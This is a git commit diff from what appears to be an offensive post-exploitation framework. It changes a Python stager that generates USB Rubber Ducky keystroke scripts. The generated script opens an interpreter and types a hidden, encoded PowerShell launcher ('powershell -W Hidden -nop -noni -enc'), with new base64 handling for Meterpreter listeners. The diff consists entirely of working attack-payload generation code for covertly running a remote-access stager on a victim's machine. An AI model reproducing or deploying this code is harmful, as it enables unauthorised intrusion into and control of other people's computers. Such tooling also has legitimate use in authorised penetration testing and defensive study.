Fix for #969
parent
3c29386612
commit
6acf71c7b7
|
@ -1,5 +1,6 @@
|
||||||
from lib.common import helpers
|
from lib.common import helpers
|
||||||
|
|
||||||
|
|
||||||
class Stager:
|
class Stager:
|
||||||
|
|
||||||
def __init__(self, mainMenu, params=[]):
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
@ -101,11 +102,16 @@ class Stager:
|
||||||
obfuscateScript = True
|
obfuscateScript = True
|
||||||
|
|
||||||
# generate the launcher code
|
# generate the launcher code
|
||||||
|
moduleName = self.mainMenu.listeners.activeListeners[listenerName]['moduleName']
|
||||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||||
|
|
||||||
if launcher == "" or interpreter == "":
|
if launcher == "" or interpreter == "":
|
||||||
print helpers.color("[!] Error in launcher command generation.")
|
print helpers.color("[!] Error in launcher command generation.")
|
||||||
return ""
|
return ""
|
||||||
|
else:
|
||||||
|
if moduleName.lower() == 'meterpreter':
|
||||||
|
import base64
|
||||||
|
enc = base64.b64encode(launcher)
|
||||||
else:
|
else:
|
||||||
enc = launcher.split(" ")[-1]
|
enc = launcher.split(" ")[-1]
|
||||||
|
|
||||||
|
@ -115,11 +121,12 @@ class Stager:
|
||||||
duckyCode += "STRING "+ interpreter + "\n"
|
duckyCode += "STRING "+ interpreter + "\n"
|
||||||
duckyCode += "ENTER\n"
|
duckyCode += "ENTER\n"
|
||||||
duckyCode += "DELAY 2000\n"
|
duckyCode += "DELAY 2000\n"
|
||||||
|
|
||||||
if obfuscateScript and "launcher" in obfuscateCommand.lower():
|
if obfuscateScript and "launcher" in obfuscateCommand.lower():
|
||||||
duckyCode += "STRING "+launcher+" \n"
|
duckyCode += "STRING "+launcher+" \n"
|
||||||
else:
|
else:
|
||||||
enc = launcher.split(" ")[-1]
|
|
||||||
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"
|
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"
|
||||||
|
|
||||||
duckyCode += "ENTER\n"
|
duckyCode += "ENTER\n"
|
||||||
|
|
||||||
return duckyCode
|
return duckyCode
|
||||||
|
|
Loading…
Reference in New Issue